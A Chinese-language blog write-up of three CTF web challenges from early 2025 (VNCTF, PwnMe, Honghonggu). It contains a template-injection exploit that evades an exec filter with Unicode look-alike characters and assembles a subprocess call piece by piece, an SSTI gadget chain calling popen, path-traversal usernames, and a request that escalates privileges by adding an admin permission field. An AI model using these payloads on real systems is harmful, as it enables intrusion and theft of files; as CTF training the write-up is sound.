2025第一季度个人解出的web题目部分题解

VNCTF2025-web-学生姓名登记系统

VNCTF唯一解出的一道web题,题目提示是单文件模板引擎,搜半天也不知道是啥,最后靠试试出来{{}}可以进行代码执行,${}经测试好像能进行字符拼接,但是好像有点问题。

这样的变体字符来进行对exec过滤的绕过,剩下的就是对字符串进行拼接,以及使用chr()函数,来进行模板注入了。题目对危险函数有过滤,有几个被禁用了。

直接放出Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
{{ᵉxec("s='outp'")}}
{{ᵉxec("s+='ut='")}}
{{ᵉxec("s+='__im'")}}
{{ᵉxec("s+='port'")}}
{{ᵉxec("s+='__'")}}
{{ᵉxec("s+='('")}}
{{ᵉxec("s+=chr(39)")}}
{{ᵉxec("s+='subp'")}}
{{ᵉxec("s+='rocess'")}}
{{ᵉxec("s+=chr(39)")}}
{{ᵉxec("s+=')'")}}
{{ᵉxec("s+='.run'")}}
{{ᵉxec("s+='(['")}}
{{ᵉxec("s+=chr(39)")}}
{{ᵉxec("s+='cat'")}}
{{ᵉxec("s+=chr(39)")}}
{{ᵉxec("s+=','")}}
{{ᵉxec("s+=chr(39)")}}
{{ᵉxec("s+='/'")}}
{{ᵉxec("s+='/flag'")}}
{{ᵉxec("s+=chr(39)")}}
{{ᵉxec("s+='],capt'")}}
{{ᵉxec("s+='ure_ou'")}}
{{ᵉxec("s+='tput'")}}
{{ᵉxec("s+='=True'")}}
{{ᵉxec("s+=',text='")}}
{{ᵉxec("s+='True)'")}}

{{ᵉᵥᵃˡ("ᵉxec(s)")}}
{{ᵉxec("s2='print'")}}
{{ᵉxec("s2+='('")}}
{{ᵉxec("s2+='9)'")}}
{{ᵉᵥᵃˡ("ᵉᵥᵃˡ('s2')")}}
{{ᵉᵥᵃˡ("s")}}
{{output.stdout}}

PwnMe 2025 CTF-web-Profile_Editor

字符串是直接拼接的

1
profiles_file = 'profile/' + session.get('username')

创建用户名为../templates/show_profile的用户,可以导致路径穿越,实现对模板文件的覆盖

然后就可以模板注入了

1
{{().__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('cat /app/flag.txt').read()}}

比赛代码仓库:https://github.com/Phreaks-2600/PwnMeCTF-2025-quals

红明谷2025-web-简单的仓库

先来一套目录扫描

1
2
3
4
5
6
7
8
Target: http://eci-2zefyydc0iza52rh6cjw.cloudeci1.ichunqiu.com/

[11:12:48] Starting:
[11:13:11] 500 - 290B - /download/history.csv
[11:13:11] 500 - 290B - /download/users.csv
[11:13:17] 200 - 2KB - /login
[11:13:25] 200 - 2KB - /register
[11:13:31] 405 - 178B - /upload

充值时抓包发现修改权限等级permissionadmin可以实现直接充值

1
{"amount":"999999","username":"rusty","permission":"admin"}

77b91029-6afc-4458-ad15-66138de24bf6

接下来抓包将user改为admin来读取admin的readme.txt可以看到hint,告诉了flag的绝对路径

bc548509-ee78-43de-9d33-e1bda4f67b74

发现/api/files这个显示目录的api有路径穿越

a460d892-389c-4acb-ad3a-67edd06ec43c

接着发现用户名是在file目录下分别有目录的,最后通过user实现路径穿越得到flag。

0498b3f3-20a9-4c91-9bd5-a9b59c279432